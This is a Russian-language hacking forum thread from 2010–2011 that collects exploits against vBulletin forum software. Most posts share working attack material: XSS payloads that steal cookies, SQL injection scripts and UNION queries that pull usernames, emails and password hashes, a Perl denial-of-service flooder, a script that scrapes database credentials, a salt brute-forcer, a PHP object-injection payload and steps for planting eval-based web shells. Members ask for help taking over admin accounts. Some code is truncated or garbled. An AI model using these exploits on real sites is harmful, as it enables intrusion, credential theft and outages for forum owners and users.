while ($answer = <$socket>)
{
if ($answer =~/(\w{32})/)
{
if ($1 ne 0) {
print "Password is: ".$1."\r\n";
print "--------------------------------------------------------------------------------------\r\n";
}
exit();
}
}
print "------------------------------------------------------------------------------------------------\r\n";
все пашет :cool: здесь просто код кривоват
гугл в помощь
Pashkela
10.02.2010, 23:50
регулярка для хоста неправильная, но по всей видимости это спецпорог, т.к. очевидно, что специальная ошибка
Soul Linker
24.02.2010, 15:17
...
Имеем:
Fatal error: Cannot use object of type vB_Shutdown as array in /home/xek/domains/xeka.ru/public_html/forum/forumdisplay.php on line 169
Потомучто там
$temp = unserialize($check);
if ($temp['do'] == 'doenterpwd')
{
$vbulletin->GPC['postvars'] = '';
}
Соответственно переделываем сериализованную часть:
echo serialize(array('do'=>'do', 'obj' => new vB_Shutdown));
a:2:{s:2:"do";s:2:"do";s:3:"obj";O:11:"vB_Shutdown":1:{s:8:"shutdown";a:1:{i:0;s:7:"phpinfo";}}}
но как с толком использовать вызов функции без параметров? :(
ps У нуленых by DGT 'COOKIE_SALT' не пустой. :(
pss, но вполне брутабельный.
Брутится исходя из куки "bbforum_view". Например
f544eb9368b8ac964d27534650bff240510eb278a-1-{i-3_i-1267278281_}
Первые 40 символов это хэш соленого сериал. массива:
$c = '0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ_'; // 36 chars
// 20
$inp = intval(@$argv[1]);
$salt = 'VBF';
for ($a1 = $inp; $a1 <= 35; $a1++)
{
$salt[3] = $c[$a1];
for ($a2 = 0; $a2 <= 35; $a2++)
{
$salt[4] = $c[$a2];
for ($a3 = 0; $a3 <= 35; $a3++)
{
$salt[5] = $c[$a3];
for ($a4 = 0; $a4 <= 35; $a4++)
{
$salt[6] = $c[$a4];
echo $salt."\n";
for ($a5 = 0; $a5 <= 35; $a5++)
{
$salt[7] = $c[$a5];
for ($a6 = 0; $a6 <= 35; $a6++)
{
$salt[8] = $c[$a6];
for ($a7 = 0; $a7 <= 35; $a7++)
{
$salt[9] = $c[$a7];
if (sha1('a-1-{i-3_i-1267278281_}' . sha1($salt) ) === 'f544eb9368b8ac964d27534650bff240510eb278')
die('Found: '.$salt);
}
}
}
}
}
}
}
для большинства форумов 3.8.2 ~ 3.8.4 подходит:
Может сказать что не существует такого форума, тогда надо будет подшаманить ?f=26
http://site.com/forumdisplay.php?f=26&do=doenterpwd&newforumpwd=&postvars=efeba30e34b02bd0fcdb07795c42eaedad5bf111a :2:{s:2:%22do%22;s:2:%22do%22;s:3:%22obj%22;O:11:% 22vB_Shutdown%22:1:{s:8:%22shutdown%22;a:3:{i:0;s: 7:%22phpinfo%22;i:1;s:21:%22debug_print_backtrace% 22;i:2;s:3:%22die%22;}}}
Никто так и не придумал как эту багу использовать то? :/
Нашол минут 5 назад.
Незнаю боян не боян, но у себя на форуме версии 3.8.2 когда заходишь в профиль можно написать "Публичное сообщение"
Такой код проходит свободно.
><script>alert(/byby/)</script>
[Feldmarschall]
19.03.2010, 19:13
http://forum/serverChecker/?IP=**.**.***.***&port=29901"><script>alert(document.cookie)</script>
(c)Feldmarschall
jecka3000
23.03.2010, 01:33
Vbulletin 4.0.2 XSS Vulnerability
=================================
Vbulletin 4.0.2 XSS Vulnerability
=================================
[+] Vbulletin 4.0.2 XSS Vulnerability
1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0
0 _ __ __ __ 1
1 /' \ __ /'__`\ /\ \__ /'__`\ 0
0 /\_, \ ___ /\_\/\_\ \ \ ___\ \ ,_\/\ \/\ \ _ ___ 1
1 \/_/\ \ /' _ `\ \/\ \/_/_\_<_ /'___\ \ \/\ \ \ \ \/\`'__\ 0
0 \ \ \/\ \/\ \ \ \ \/\ \ \ \/\ \__/\ \ \_\ \ \_\ \ \ \/ 1
1 \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\ 0
0 \/_/\/_/\/_/\ \_\ \/___/ \/____/ \/__/ \/___/ \/_/ 1
1 \ \____/ >> Exploit database separated by exploit 0
0 \/___/ type (local, remote, DoS, etc.) 1
1 1
0 [+] Site : Inj3ct0r.com 0
1 [+] Support e-mail : submit[at]inj3ct0r.com 1
0 0
1 ###################################### 1
0 I'm 5ubzer0 member from Inj3ct0r Team 1
1 ###################################### 0
0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1
[+] Discovered By: 5ubzer0
[+] My id : http://inj3ct0r.com/author/2307
[+] Original : http://inj3ct0r.com/exploits/9697
# Version: Vbulletin 4.0.2
www.site.com/path/search.php?search_type=1&contenttype=vBBlog_BlogEntry&query="><script>alert('xss');</script>
www.site.com/path/search.php?search_type=1&contenttype=vBBlog_BlogEntry&query="><script>alert(document.cookie);</script>
Exemple:
http://www.forumjogosonline.com.br/search.php?search_type=1&contenttype=vBBlog_BlogEntry&query=%22%3E%3Cscript%3Ealert(document.cookie);%3C/script%3E
# ~ - [ [ : Inj3ct0r : ] ]
# Inj3ct0r.com [2010-03-19]
Jokester
23.03.2010, 01:52
Как вы задолбали =\
Не надо ставить копирайты на этого inj3ct0r'а - это копипастер\плагиатор.
Посмотрите у китайцев, эта бага лежит с 9 числа, и если этот клоун поставил туда своё авторство, это не значит, что он автор
http://sebug.net/vulndb/19240/
satana-fu
29.04.2010, 03:23
Банальная XSS.
vBulletin® Version 3.8.2
http://site.ru/forum/modcp/index.php?loc=javascript:document.write('<script>alert(document.cookie);</script>');
PS. В теме не нашел, в гугле тоже не заметил, что кто то выкладывал. :rolleyes:
3.5.4 - Дамп БД
При переходе по указанной ссылке появляется окошко "Please Enter Your Customer Number". Кк я понял, туда надо вписывать ключ. Вопрос, где взять кейген? Насилование гугла, увы, не дало результатов. :(
Пассивка в админке.
3.8.2
admincp/css.php?s=&do=edit&dowhat=bla"-->alert(document.cookie);&group=&dostyleid=1
4upakabr0
24.07.2010, 04:18
SQL Конфиг в 3.8.6
site.com/forum/faq.php?s=&do=search&q=database&match=all&titlesonly=0
SQL Конфиг в 3.8.6
site.com/forum/faq.php?s=&do=search&q=database&match=all&titlesonly=0
Действует только в 3.8.6, или также на более ранних (в частности, на 3.8.4)?
4upakabr0
24.07.2010, 17:47
only 3.8.6 because debug bug ^)
/thread219320.html
[Feldmarschall]
29.08.2010, 18:44
Люди а если я заливаю шелл через модули по инструкции (Способ заливки шелла в vBulletin 3.5.*. ), то где он сам появляется?
Продукт: ставим vBulletin
Месторасположение: Vbulletin: Справка - faq_complete
Вставляем в тело код нашего шелла eval($_GET['cmd']);
Сохраняем, идём в faq (справка), если он был такой eval($_GET['cmd']); делаем так site.сom/forumpath/faq.php?cmd=тут команда
site.сom/forumpath/faq.php?cmd=include($_GET[aa]);&aa=http://site.com/shell.txt
Требуется allow_url_include = on
================================================== =============
vBulletin 3.8.4 & 3.8.5 Registration Bypass Vulnerability
================================================== =============
01010101010101010101010101010101010101010101010101 0101010
0 0
1 Iranian Datacoders Security Team 2010 1
0 0
01010101010101010101010101010101010101010101010101 0101010
# Exploit Title: vBulletin 3.8.4 & 3.8.5 Around Registration Vulnerability
# Date: 29/08/2010
# Author: Immortal Boy
# Software Link: http://www.vbulletin.org
# Version: 3.8.4 & 3.8.5
# Google dork 1 : powered by vBulletin 3.8.4
# Google dork 2 : powered by vBulletin 3.8.5
# Platform / Tested on: Multiple
# Category: webapplications
# Code : N/A
# BUG : ################################################## #######################
1 > Go to Http://[localhost]/path/register.php
2 > Assume that forum admin user name is ADMIN
3 > Type this at User Name ===> ADMIN
4 > is an ASCII Code
5 > And complete the other parameters
6 > Then click on Complete Registrarion
7 > Now you see that your user name like admin user name
After this time the private messages to the user (ADMIN) to sending see for you is sending .
# Patch : ################################################## #####################
1 > Go to AdminCP
2 > Click on vBulletin Options and choose vBulletin Options
3 > Choose Censorship Options
4 > type &# in Censored Words section
5 > Then click on Save
################################################## ###########################
Our Website : http://www.datacoders.ir
Special Thanks to : H-SK33PY , NEO , Sp|R|T , BigB4NG , 3r1ck , Dr.mute ,
hosinn , NIK , uones , mohammad_ir & all iranian datacoders members
################################################## ###########################
HIMIKAT:
Так же хочу добавить относительно данной уязвимости. После создания акка, а потом разлогивания. Снова под ним зайти не удастся, то есть снова придется регистрировать этот акк. Таков небольшой минус данной уязвимости.
хм...
непомагло
мне нужна получит права админа
можно получить. только если баг не пофиксен самим админом... действует для 3.8.4 и 3.8.5 (нужно регить админа под логином admin... не помню точно. полистай странички этой темы тут есть. только текст на инглише написан... выглядит как эксплоит...=) красота... а если быть точнее, то подними глаза на верх страницы. =) это он и есть... ADMIN
delasoul
28.09.2010, 17:18
1 > Go to AdminCP
2 > Click on vBulletin Options and choose vBulletin Options
3 > Choose Censorship Options
4 > type &# in Censored Words section
5 > Then click on Save
я что то не врубилься где добавит &#?
Вот эти 4 символа после ника добавляешь, к примеру есть на форуме ник test, ты хочешь такой же, пишешь при регистрации этот ник и в конце после ника добавляешь эти символы, и всё
delasoul
28.09.2010, 18:20
Вот эти 4 символа после ника добавляешь, к примеру есть на форуме ник test, ты хочешь такой же, пишешь при регистрации этот ник и в конце после ника добавляешь эти символы, и всё
я уже таки делал и зарегилса на имя администратора но там естъ &# куда это нужна пихать вот что я не понял!!! если бы внимательно читал!! всё била бы чотко!
Где &# это есть? Что пихать ? Ты сам понимаешь что пишешь ?
вставляешь символы после ника и всё, если есть уязвимость, значит зарегается нормально под ником админа, а если нету, то напишет что такой пользователь существует.
Я вот 1 не понимаю как её раскрутить уязвимость эту, к примеру залогиниться в панели админа под своим созданным ником ?
emillord
28.09.2010, 19:27
я уже таки делал и зарегилса на имя администратора но там естъ &# куда это нужна пихать вот что я не понял!!! если бы внимательно читал!! всё била бы чотко!
Это информация для админа как прикрыть дыру. Вам это не нужно.
delasoul
28.09.2010, 19:42
Где &# это есть? Что пихать ? Ты сам понимаешь что пишешь ?
вставляешь символы после ника и всё, если есть уязвимость, значит зарегается нормально под ником админа, а если нету, то напишет что такой пользователь существует.
Я вот 1 не понимаю как её раскрутить уязвимость эту, к примеру залогиниться в панели админа под своим созданным ником ?
4 > type &# in Censored Words section!!!!
Это информация для админа как прикрыть дыру. Вам это не нужно.
спасибо за ответ
я что то не врубилься где добавит &#?
Type this at User Name ===> ADMIN
эта строчка для тебя если ломануть хочешь...
а если хочешь баг убрать, то добавь эти символы в админке в исключение. чтобы юзеры не могли с этими знаками региться...
InDuStRieS
30.09.2010, 20:35
войди под админом и посмотри какие у тебя права будут. ищи возможность залить шел. сам лично не пробовал. точно сказать не могу. на днях собираюсь похакать кого-нибудь... если получится-опишу.
прав там не будет,с этой багой только ЛС будешь перехватывать.
и то не все сообщения
Т.к. при отправке через страницу профиля, сообщение будет только тому отправлятся, с чьего профиля отсылают
А если в строке ник нейма будут вводить ник, то появится оригинальный и ложный, которым ты создал, и если он выберет твой ложный ник, то придёт тебе сообщения, а так ники в списке одинаковые.
и то не все сообщения
Т.к. при отправке через страницу профиля, сообщение будет только тому отправлятся, с чьего профиля отсылают
А если в строке ник нейма будут вводить ник, то появится оригинальный и ложный, которым ты создал, и если он выберет твой ложный ник, то придёт тебе сообщения, а так ники в списке одинаковые.
к нику присваивается id?
GrandMaster
11.10.2010, 10:44
Ребят, помогите, есть шеллы под этот форум, кто-что посоветует как быстро код вставить и куда?
/thread220278.html
SSSetuPPP
03.12.2010, 15:17
[QUOTE="ph1l1ster"]
vBulletin® Version 3.8.2 Denial of Service Exploit
#!usr/bin/perl
#vBulletin® Version 3.8.2 Denial of Service Exploit
#ea$y Laster
################################################## ######################
# Modules #
################################################## ######################
use IO::SOCKET; # Object interface #
################################################## ######################
if (@ARGVvBulletin® Version 3.8.2);
chomp($ziel =);
if ($ziel eq""){
die "$fehler\a\n";}
print"$block\n";
print"$block\n";
print q(Path->);
chomp($path =);
if ($path eq "") {
die "$fehler !\a\n";}
print"$block\n";
print"$block\n";
print "Verwundbarkeit\n";
print"forumdisplay.php?f=\n";
print"->"n;
chomp($vul =);
if ($vul eq "") {
die "$fehler !\a\n";}
print"$block\n";
print"$block\n";
print q(Time->);
chomp($flood =);
if ($flood eq "") {
die "$fehler !\a\n";}
print"$block\n";
print"$block\n";
print q(Port->);
chomp($port =);
if ($port eq ""){
die "$fehler \n";}
print"$block\n";
print q(Send "start"->);
chomp($start =);
if ($start eq "") {
die "$fehler\n";}
print "$block\a\n";
print "[+]Konntroliere Daten \n";
print " Kontroliere Ziel : $ziel\n";
print " Kontroliere Board : $path\n";
print " Kontroliere Port : $port\n";
print "$block\n";
if($start == 1){
while($x != 0000){
$x++;}
}elsif ($start == start){
while($x != $flood)
{
$postit = "$ziel"."$path"."$vul";
$lrg = length $postit;
$sock = new IO::Socket::INET (
PeerAddr => "$ziel",
PeerPort => "$port",
Proto => "tcp",
);
print $sock "POST $path$vul HTTP/1.1\n";
print $sock "Host: $ziel\n";
print $sock "Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5\n";
print $sock "Referer: $ziel\n";
print $sock "Accept-Language: en-us\n";
print $sock "Content-Type: application/x-www-form-urlencoded\n";
print $sock "User-Agent: Mozilla/5.0 (BeOS; U; BeOS X.6; en-US; rv:1.7.8) Gecko/20070421 Firefox/2.0.0\n";
print $sock "Content-Length: $lrg\n\n";
print $sock "$postit\n";
close($sock);
syswrite STDOUT, "->BLACKOUTvBulletin® Version 3.8.2);
chomp($ziel =);
if ($ziel eq""){
die "$fehler\a\n";}
print"$block\n";
print"$block\n";
print q(Path->);
chomp($path =);
if ($path eq "") {
die "$fehler !\a\n";}
print"$block\n";
print"$block\n";
print "Verwundbarkeit\n";
print"forumdisplay.php?f=\n";
print"->"n;
chomp($vul =);
if ($vul eq "") {
die "$fehler !\a\n";}
print"$block\n";
print"$block\n";
print q(Time->);
chomp($flood =);
if ($flood eq "") {
die "$fehler !\a\n";}
print"$block\n";
print"$block\n";
print q(Port->);
chomp($port =);
if ($port eq ""){
die "$fehler \n";}
print"$block\n";
print q(Send "start"->);
chomp($start =);
if ($start eq "") {
die "$fehler\n";}
print "$block\a\n";
print "[+]Konntroliere Daten \n";
print " Kontroliere Ziel : $ziel\n";
print " Kontroliere Board : $path\n";
print " Kontroliere Port : $port\n";
print "$block\n";
if($start == 1){
while($x != 0000){
$x++;}
}elsif ($start == start){
while($x != $flood)
{
$postit = "$ziel"."$path"."$vul";
$lrg = length $postit;
$sock = new IO::Socket::INET (
PeerAddr => "$ziel",
PeerPort => "$port",
Proto => "tcp",
);
print $sock "POST $path$vul HTTP/1.1\n";
print $sock "Host: $ziel\n";
print $sock "Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5\n";
print $sock "Referer: $ziel\n";
print $sock "Accept-Language: en-us\n";
print $sock "Content-Type: application/x-www-form-urlencoded\n";
print $sock "User-Agent: Mozilla/5.0 (BeOS; U; BeOS X.6; en-US; rv:1.7.8) Gecko/20070421 Firefox/2.0.0\n";
print $sock "Content-Length: $lrg\n\n";
print $sock "$postit\n";
close($sock);
syswrite STDOUT, "->BLACKOUT"n;
Может надо так?
print"->n";
p.s. кавычку не туда поставил...
vBulletin 4.0.8 - Persistent XSS via Profile
vBulletin - Persistent Cross Site Scripting via Profile
Versions Affected: 4.0.8 (3.8.* is not vulnerable.)
vBulletin is prone to a Persistent Cross Site Scripting vulnerability within the
Profile Customization feature. If this feature is not enabled the vulnerability
does not exist and the installation of vBulletin is thereby secure.
Within the profile customization fields, it is possible to enter colour codes,
rgb codes and even images. The image url() function does not sanitize user
input in a sufficient way causing vBulletin to be vulnerable to XSS attacks.
[1] Private Reflected XSS:
An attacker can inject scripts in a simple way, which is only visible to the attacker.
Proof of Concept:
url()
(This is only visible to the attacker when he or she is logged in, and browsing his or her own profile.)
[2] Global Reflected XSS:
An attacker can inject malicious CSS data executing javascript, which is then visible
to anyone browsing the user profile. Even guests visiting the malicious user profile.
Proof of Concept: (IE6 only, may not work in IE7+ and FF)
url(/);background:url(javascript:document.write(1337))
url(/);width:expression(alert('www.intern0t.net'))
Please note that some of these strings may be too long to be injected. However a
blog entry at Exploit-DB and a video on YouTube will be released very soon.
-:: Solution ::-
Turn off profile customization immediately for users able to customize their profile!
When a security patch has been provided by the vendor, enable this feature again.
Взято с www.exploit-db.com/exploits/15550/
A_n_d_r_e_i
10.12.2010, 00:47
vBulletin Version 3.8.4 AdminCP
Стили и шаблоны-Сохранить/загрузить стили
загружаем стиль, в поле "Название для загруженного стиля"пишем
alert (document.cookie);
когда выберем на форуме последний загруженный стиль - увидим алерт и свои куки, так же как и в админке
Языки и фразы-Сохранить/загрузить языки
В поле "Название загружаемого языка" пишем alert (document.cookie);
"Перезаписать язык" выбираем "Создать новый"
выбираем файл языка, загружаем
идём по адресу http://ваш_форум и видим свои куки, алерт
Разделы и модераторы-Добавить раздел
в поля "Заголовок" и "Описание" пишем alert (document.cookie);
нажимаем "Сохранить"
Видим два алерта на главной, и один в админке по адресу Разделы и модераторы-Управление разделами(последний выполнился у меня в ие, в опере не было)
Основные настройки-Основные настройки, Название сайта / Ссылка / Контактная информация
в поле "Текст авторских прав" пишем alert (document.cookie);
нажимаем сохранить
на главной видим алерт
Объявления-Создать новое объявление
Раздел (будет добавлено и в подразделы) оставляем по-дефолту(Во всех разделах)
в поле "Заголовок" и поле "Текст" вбиваем alert (document.cookie);
нажимаем "Сохранить"
Заходим в любой раздел и видим алерт
Дополнительные поля профиля-Добавить дополнительное поле профиля
Тип поля профиля-Текстовое поле одной строкой, нажимаем "Продолжить"
в поле "Заголовок", "Значение по умолчанию" и "Описание" вставляем alert (document.cookie);
Какая страница отображает эту опцию? выбираем то, что вам подходит. я же выбрал "Редактировать данные"
Нажимаем "Сохранить"
по линку http://ваш_форум/profile.php?do=editprofile видим два алерта
vBulletin 3.8.6 Exploit
#!/usr/bin/perl
use strict;
use LWP::Simple;
use HTML::Parser;
use Data::Dumper;
my $url = shift @ARGV;
my $line;
die "No URL specified on command line." unless (defined $url);
my $url2 = "$url\/install\/vbulletin-language.xml";
my $content = get($url2); #put site html in $content.
die "get failed" if (!defined $content);
if ($content =~ m/database_ingo/) {
$url2 = "$url\/faq.php\?s=\&do=search\&q=data\&match=all\&titlesonly=0";
$content = get($url2);
die "Get Failed" if (!defined $content);
open(MYDATA, ">aaaaa.txt");
print MYDATA $content;
close MYDATA;
open(NEDATA, ") {
if ($line =~ m/Host:/) {
$line =~ s/Database\//;
$line =~ s/\//;
print "$line\n";
}
if ($line =~ m/Username:/) {
$line =~ s/Database//;
$line =~ s///;
print "$line\n";
}
if ($line =~ m/Password:/) {
$line =~ s/Database//;
$line =~ s///;
print "$line\n";
}
}
close NEDATA;
unlink($url2);
} else {
print "Not vulnerable!\n";
};
_____________________________________________
How to use?
my $content = get($url2)
my $content = get('http://wowcewebsite.com/path/')
_____________________________________________*
Какаие есть уязвимости в 3.8.2, кроме DoS'а?
_http://www.exploit-db.com/shellcode/ сложно ведь правда поискать?
foozi не пашет
No URL specified on command line. at C:\perl\1.pl line 8.
Mr.Br0wn
27.02.2011, 04:55
Slay90, поправь ошибку в 8-й строке скрипта
hatecore161
07.03.2011, 13:41
EggAvatar for vBulletin 3.8.x SQL Injection Vulnerability
[PHP]
[COLOR="#0000BB"]#!/usr/bin/env perl
useLWP::UserAgent;
sub banner{
print"###################################\n";
print"############ DSecurity ############\n";
print"###################################\n";
print"# Email:dsecurity.vn[at]gmail.com #\n";
print"###################################\n";
}
if(@ARGVnew();
$ua->agent("DSecurity");
$ua->cookie_jar({});
sub login(@){
my $username=shift;
my $password=shift;
my $req=HTTP::Request->new(POST=>$ARGV[0].'/login.php?do=login');
$req->content_type('application/x-www-form-urlencoded');
$req->content("vb_login_username=$username&vb_login_passwor=$password&s=&securitytoken=1299342473-6b3ca11fdfd9f8e39a9bc69638bf32293bce4961&do=login&vb_login_md5password=&vb_login_md5password_utf=");
my $res=$ua->request($req);
}
sub v_request{
#Declare
$print=$_[0];
$select=$_[1];
$from=$_[2];
$where=$_[3];
$limit=$_[4];
$sleep=$ARGV[4];
if ($from eq'') {$from='information_sch ema.tables';}
if ($where eq'') {$where='1';}
if ($limit eq'') {$limit='0';}
if ($sleep eq'') {$sleep='10';}
# Create a request
my $req=HTTP::Request->new(POST=>$ARGV[0].'/eggavatar.php');
$req->content_type('application/x-www-form-urlencoded');
$req->content('do=addegg&securitytoken=1299342473-6b3ca11fdfd9f8e39a9bc69638bf32293bce4961&eggavatar=1'."' and (SELECT 1 FROM(SELECT COUNT(*),CONCAT(( select$selectfrom$fromWHERE$wherelimit$limit,1),FL OOR(RAND(1)*3))foo FROM information_schema.table s GROUP BY foo)a)-- -'&uid=1&pid=1");
# Pass request to the user agent and get a response back
my $res=$ua->request($req);
#print $res->content;
if($res->content=~ /(MySQL Error)(.*?)'(.*?)0'(.*)/)
{$test= $3};
sleep($sleep);
return$print.$test."\n";
}
&banner;
print"\n################################################ ################################################## ###########\n";
print"# EggAvatar for vBulletin 3.8.x SQL Injectio n Vulnerability #\n";
print"# Date:06-03-2011 #\n";
print"# Author: DSecurity #\n";
print"# Software Link: http://www.vbteam.info/vb-3-8-x-addons-and-template-modifications/19079-tk-egg-avatar.html #\n";
print"# Version: 2.3.2 #\n";
print"# Tested on: vBulletin 3.8.0 #\n";
print"################################################## ################################################## #########\n";
#login
login($ARGV[1],$ARGV[2]);
#Foot print
printv_request('MySQL version: ','@@version');
printv_request('Data dir: ','@@datadir');
printv_request('User: ','user()');
printv_request('Database: ','database()');
#Get user
for($i=1;$i[COLOR="#007700"]
Баг с хайдом
_ttp://ru-ua.ws/showthread.php?p=13674
Юзать:
http://site.ru/showthread.php?p=1&highlight=[HIDE
Фикс:
1. Открыть файл /includes/vS_HHR_Engine.php
2. После
[PHP]
[COLOR="#0000BB"][COLOR="#007700"]
[QUOTE="DotNet"]
Баг с хайдом
_ttp://ru-ua.ws/showthread.php?p=13674
Юзать:
http://site.ru/showthread.php?p=1&highlight=[HIDE
Фикс:
1. Открыть файл /includes/vS_HHR_Engine.php
2. После
[PHP]
[COLOR="#0000BB"][COLOR="#007700"]
Активная XSS в модуле vBH New Tabs Options
vBH New Tabs Options - возможность вставки произвольного js кода на все страницы vBulletin 4.x.x
Уязвимость существует из-за отсутствия фильтрации при добавлении новых вкладок в главное навигационное меню, через указанный модуль.
Эксплойт, в поле со списком вкладок добавляем:
alert(/xss/)|1.php
Автор: eclipse
Примечание:
Чтобы заюзать уязвимость нужно обладать доступом в AdminCP.
FatalitY™
08.05.2011, 16:54
Vbulletin 4.0.2
Уязвимость: XSS.
================================= Vbulletin 4.0.2 XSS Vulnerability ================================= [+] Vbulletin 4.0.2 XSS Vulnerability 1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0 0 _ __ __ __ 1 1 /' \ __ /'__`\ /\ \__ /'__`\ 0 0 /\_, \ ___ /\_\/\_\ \ \ ___\ \ ,_\/\ \/\ \ _ ___ 1 1 \/_/\ \ /' _ `\ \/\ \/_/_\_> Exploit database separated by exploit 0 0 \/___/ type (local, remote, DoS, etc.) 1 1 1 0 [+] Site : Inj3ct0r.com 0 1 [+] Support e-mail : submit[at]inj3ct0r.com 1 0 0 1 ###################################### 1 0 I'm 5ubzer0 member from Inj3ct0r Team 1 1 ###################################### 0 0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1 [+] Discovered By: 5ubzer0 [+] My id : http://inj3ct0r.com/author/2307 [+] Original : http://inj3ct0r.com/exploits/9697 # Version: Vbulletin 4.0.2 www.site.com/path/search.php?search_type=1&contenttype=vBBlog_BlogEntry&query=">alert('xss'); www.site.com/path/search.php?search_type=1&contenttype=vBBlog_BlogEntry&query=">alert(document.cookie); Exemple: http://www.forumjogosonline.com.br/search.php?search_type=1&contenttype=vBBlog_BlogEntry&query=%22%3E%3Cscript%3Ealert(document.cookie);%3C /script%3E
Работает на 4.0.x - 4.1.2, в 4.1.3 - пропатчено.
http://www.youtube.com/watch?v=fR9RGCqIPkc
Нужен аддон для ФФ4 - Live HTTP Headers - http://psp-mode.yolasite.com/resources/liveHTTPheadersFF4.xpi
&cat[0]=1)UNION SELECT database()#
&cat[0]=1)UNION SELECT table_name FROM information_sc hema.tables#
&cat[0]=1)UNION SELECT concat(username,0x3a,email,0x3a, password,0x3a,salt)FROM user WHERE userid=1#
md5(md5($pass).$salt)
pharm_all
22.06.2011, 04:30
/vb/search/searchtools.php
$id = $vbulletin->db->sql_prepare($id);
if (is_array($id))
{
function sql_prepare($value)
{
if (is_string($value))
{
return "'" . $this->escape_string($value) . "'";
}
else if (is_numeric($value) AND $value + 0 == $value)
{
return $value;
}
else if (is_bool($value))
{
return $value ? 1 : 0;
}
else
{
return "'" . $this->escape_string($value) . "'";
}
}
Меняем на это
function sql_prepare($value)
{
if (is_string($value))
{
return "'" . $this->escape_string($value) . "'";
}
else if (is_numeric($value) AND $value + 0 == $value)
{
return $value;
}
else if (is_bool($value))
{
return $value ? 1 : 0;
}
else if (is_null($value))
{
return "''";
}
else if (is_array($value))
{
foreach ($value as $key => $item)
{
$value[$key] = $this->sql_prepare($item);
}
return $value;
}
else
{
return "'" . $this->escape_string($value) . "'";
}
}
удачи!
абвгдешка
22.07.2011, 12:29
Vbulletin 4.0.x => 4.1.3 (messagegroupid) SQL injection Vulnerability 0-day
# Google Dork: intitle: powered by Vbulletin 4
# Date: 20/07/2011
# Author: FB1H2S
# Software Link: [http://www.vbulletin.com/]
# Version: [4.x.x]
# Tested on: [relevant os]
# CVE : [http://members.vbulletin.com/]
################################################## ################################################## ##
Vulnerability:
################################################## ################################################## ##
Vbulletin 4.x.x => 4.1.3 suffers from an SQL injection Vulnerability in parameter "&messagegroupid" due to improper input validation.
################################################## ################################################## #
Vulnerable Code:
################################################## ################################################## #
File: /vbforum/search/type/socialgroupmessage.php
Line No: 388
Paramater : messagegroupid
if ($registry->GPC_exists['messagegroupid'] AND count($registry->GPC['messagegroupid']) > 0)
{
$value = $registry->GPC['messagegroupid'];
if (!is_array($value))
{
$value = array($value);
}
if (!(in_array(' ',$value) OR in_array('',$value)))
{
if ($rst = $vbulletin->db->query_read("
SELECT socialgroup.name
FROM " . TABLE_PREFIX."socialgroup AS socialgroup
---> WHERE socialgroup.groupid IN (" . implode(', ', $value) .")")
}
################################################## ##########################################
Exploitation:
################################################## ##########################################
Post data on: -->search.php?search_type=1
--> Search Single Content Type
Keywords : Valid Group Message
Search Type : Group Messages
Search in Group : Valid Group Id
&messagegroupid[0]=3 ) UNION SELECT concat(username,0x3a,email,0x3a,password,0x3a,salt ) FROM user WHERE userid=1#
################################################## ########################################
More Details:
################################################## ########################################
Http://www.Garage4Hackers.com
http://www.garage4hackers.com/showthread.php?1177-Vbulletin-4.0.x-gt-4.1.3-(messagegroupid)-SQL-injection-Vulnerability-0-day
################################################## #########################################
Note:
################################################## #########################################
Funny part was that, a similar bug was found in the same module, search query two months back. Any way Vbulletin has released a patch as it was reported to them by altex, hence
customers are safe except those lowsy Admins. And this bug is for people to play with the many Nulled VB sites out there. " Say No to Piracy Disclosure ".
DeleTeeeX
08.08.2011, 22:21
cChatBox for vBulletin 3.6.8 and 3.7.x SQL Injection Vulnerability
#!/usr/bin/perl
use LWP::UserAgent;
$ua = LWP::UserAgent->new;
$ua->agent("MyApp/0.1 ");
print "##################################\n";
print "############ EXPLOIT #############\n";
print "##################################\n";
print "## Portal: cchatbox ##\n";
print "## Bug: SQLI ##\n";
print "## Author: DSecurity ##\n";
print "## Coder: vv0lll ##\n";
print "##################################\n";
print "Use: exploit.pl address number_user sleeptime\n";
print "Example: exploit.pl http://localhost/vbb 10 10\n";
if(@ARGV new(POST => $ARGV[0].'/cchatbox.php');
$req->content_type('application/x-www-form-urlencoded');
$req->content('do=edit&messageid=0 and (SELECT 1 FROM(SELECT COUNT(*),CONCAT((select '.$select.' from '.$from.' WHERE '.$where.' limit '.$limit.',1),FLOOR(RAND(1)*3))x FROM information_schema.tables GROUP BY x)a)');
# Pass request to the user agent and get a response back
my $res = $ua->request($req);
#print $res->content;
if($res->content =~ /(MySQL Error)(.*?)'(.*?)0'(.*)/)
{$test = $3};
sleep($sleep);
return $print.$test."\n";
}
Expl0ited
17.08.2011, 22:51
можно ли залить шелл, не имея прав на файл plugins.php(файл через который добавляют модули), и не имея возможности залить запихать смайлы?
Цитирую 525:
Заливка шелла в vBulletin.
1.AdminCP>Styles & Templates>Download / Upload Styles
2.Вибираєм наш шелл в .xml , Ignore Style Version - YES > Import
3.Обратно к Style Manager кликаем по загруженном файлу и видим наш шелл
шелл :
http://pastebin.com/ybZqXiDH
Источник:http://insecurity.ro/blog/shelling-vbulletin-4-0-x-3-8-x-xml/
-morfiy-
19.08.2011, 07:25
vBulletin 4.0.0-4.0.2 YaAS (yet another award system) XSS Vulnerability
vBulletin 4.0.0-4.0.2 YaAS (yet another award system) XSS Vulnerability===================================== ==================================
vBulletin 4.0.0-4.0.2 YaAS (yet another award system) XSS Vulnerability
================================================== =====================
# Exploit Title: vBulletin 4.0.0-4.0.2 YaAS 4.0.0 (yet another award system) XSS
# Date: 2010-05-13
# Author: Un-Dead
# Team: eX.ploit ( http://ex.ploit.net )
# Software Link: http://www.vbulletin.org/forum/showthread.php?t=232684&highlight=yet+another+awar d+system
# Google Dork: inurl: recommend_award.php?award_id=1
